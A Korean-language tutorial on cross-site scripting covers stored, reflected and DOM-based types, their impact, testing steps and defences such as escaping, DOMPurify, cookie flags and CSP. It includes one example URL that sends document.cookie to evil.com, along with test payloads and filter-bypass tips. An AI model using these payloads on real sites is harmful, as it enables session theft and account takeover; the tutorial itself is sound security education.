XSS (Cross-Site Scripting): Stored / Reflected / DOM 차이와 방어

XSS는 신뢰할 수 없는 입력이 이스케이프 없이 HTML/JS 컨텍스트로 들어가서, 공격자가 만든 스크립트가 피해자 브라우저에서 실행되는 취약점이다.

세 가지 유형

Stored (저장형)

공격자가 입력한 스크립트가 서버(DB)에 저장됐다가, 다른 사용자가 그 페이지를 볼 때마다 실행된다. 게시판 댓글, 프로필 소개글, 마크다운 포스트가 전형적인 타겟이다. 영향 범위가 가장 넓다 — 한 번 심으면 여러 사용자가 계속 당한다.

Reflected (반사형)

서버가 요청 파라미터를 검증 없이 그대로 응답에 포함시킬 때 발생. URL에 페이로드를 심어서 피해자가 그 링크를 클릭하게 유도해야 한다.

https://example.com/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

DOM-based

서버를 거치지 않고, 클라이언트 JS가 location.hash, document.URL 같은 값을 검증 없이 innerHTML에 꽂아 넣을 때 발생. 서버 로그에는 흔적이 안 남을 수 있어서 놓치기 쉽다.

실제로 뭘 할 수 있나

단순 alert(1)은 PoC일 뿐이고, 실제 impact는 다음과 같다.

• document.cookie로 세션 쿠키 탈취 (단, httpOnly 쿠키는 JS로 못 읽음)
• 피해자 세션으로 상태 변경 요청 실행 (CSRF와 결합)
• 키로거, 피싱 폼 삽입
• 관리자 세션에서 실행되면 계정 탈취로 직결

탐지 방법

1. 모든 입력 지점에 <script>alert(1)</script>, "><img src=x onerror=alert(1)> 등을 넣어보고 반응 확인
2. 필터링이 있으면 우회 시도 — 대소문자 섞기, 이벤트 핸들러(onerror, onload), javascript: 스킴, 인코딩
3. 어디에 반영되는지 컨텍스트 확인 (HTML 본문 / 속성값 / <script> 태그 내부 / URL) — 컨텍스트마다 필요한 페이로드가 다르다
4. Stored XSS는 입력한 뒤 다른 세션(다른 브라우저/시크릿 모드)으로 재방문해서 실행되는지 확인

방어

• 출력 시점에 컨텍스트에 맞는 이스케이프가 기본이다. HTML 본문이면 <, > 이스케이프, 속성값이면 따옴표까지, JS 컨텍스트면 별도 인코딩.
• 사용자가 작성한 HTML/마크다운을 그대로 렌더링해야 한다면 DOMPurify 같은 검증된 sanitizer를 반드시 통과시킨다. 직접 정규식으로 필터링하는 건 거의 항상 우회당한다.
• 쿠키에 httpOnly, Secure, SameSite 설정.
• Content-Security-Policy 헤더로 인라인 스크립트 실행을 원천 차단 — 필터를 뚫려도 마지막 방어선이 된다.